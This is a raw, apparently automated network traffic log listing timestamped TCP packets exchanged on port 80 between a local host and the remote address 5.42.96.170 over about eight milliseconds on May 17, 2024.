May 17, 2024 23:45:16.234420061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234422922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.234422922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.234431028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234440088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234457016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234467983 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234477997 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234488010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234544992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.234544992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.234544992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.234544992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.234544992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.234615088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234627008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234635115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234643936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234678030 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.234678030 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.234800100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.235368967 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.235378981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.235548019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.235548019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.235548019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.236215115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236224890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236232042 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236241102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236252069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236262083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236272097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236280918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236290932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236624956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.236624956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.236624956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.236624956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.236820936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236831903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236840010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236850023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236860037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236870050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236879110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236891985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236896038 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.236896038 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.236896992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.236917973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236927986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236937046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236938953 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.236946106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236960888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236969948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236988068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.236999989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237009048 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237035036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237036943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237036943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237036943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237036943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237036943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237046003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237054110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237055063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237063885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237073898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237082958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237097979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237107992 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237118006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237128973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237138033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237148046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237155914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237155914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237155914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237155914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237155914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237159014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237169027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237179995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237190008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237200975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237211943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237253904 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237253904 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237253904 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237253904 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237253904 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237306118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237363100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237365007 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237416029 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237423897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237436056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237443924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237454891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237521887 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237534046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237540007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237549067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237556934 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237556934 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237556934 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237560034 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237571001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237615108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237615108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237615108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237642050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237693071 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237787962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237798929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237807989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237818003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237828016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237838030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237848997 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237858057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237869024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.237900972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237900972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237900972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237900972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.237900972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238099098 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238110065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238120079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238128901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238137960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238149881 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238157988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238168001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238188982 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238188982 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238188982 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238188982 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238213062 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238437891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238449097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238456964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238470078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238478899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238488913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238498926 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238508940 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238567114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238578081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238614082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238614082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238614082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238614082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238614082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238702059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238713980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238722086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238732100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238742113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238751888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238760948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238770962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238781929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238791943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238801956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238812923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238831997 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238831997 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238831997 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238832951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238832951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238854885 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238857985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238868952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238878012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238888025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238898993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238909006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238919973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238929987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238939047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238949060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238960981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238970041 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238970041 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238970041 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238970041 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238970995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.238971949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238980055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.238990068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239000082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239042044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.239042044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.239042044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.239042044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.239576101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239588022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239597082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239608049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239617109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239626884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239636898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239648104 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239672899 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.239672899 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.239672899 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.239686966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.239784956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.239973068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239981890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.239990950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240000963 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240010977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240020990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240024090 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240030050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240042925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240051985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240061998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240072012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240073919 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240073919 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240082979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240098000 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240098000 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240103006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240120888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240132093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240140915 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240140915 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240143061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240153074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240164042 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240174055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240185976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240190029 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240190029 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240195990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240202904 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240205050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240215063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240226030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240233898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240245104 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240253925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240266085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240267992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240267992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240267992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240267992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240288019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240314960 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.240950108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240961075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240968943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240978003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240987062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.240998030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241008997 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241008997 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241015911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241025925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241035938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241039038 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241045952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241049051 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241055012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241065979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241075039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241085052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241094112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241103888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241113901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241125107 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241134882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241144896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241154909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241161108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241161108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241161108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241161108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241161108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241164923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241175890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241379023 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241379023 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241379023 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241379023 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241736889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241746902 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241755962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241765022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241774082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241786003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241789103 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241795063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241806030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241813898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241827011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241835117 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241835117 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241837025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241847992 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241858006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241868973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241878033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.241879940 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241879940 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.241900921 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242152929 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242181063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242191076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242201090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242209911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242219925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242229939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242240906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242250919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242259979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242269993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242279053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242289066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242296934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242307901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242316008 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242316008 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242316008 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242316008 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242316008 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242326021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242341995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242350101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242361069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242369890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242379904 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242389917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242398977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242408037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242419004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242428064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242429972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242429972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242439032 CEST	80	49707	5.42.96.170	192.168.2.5
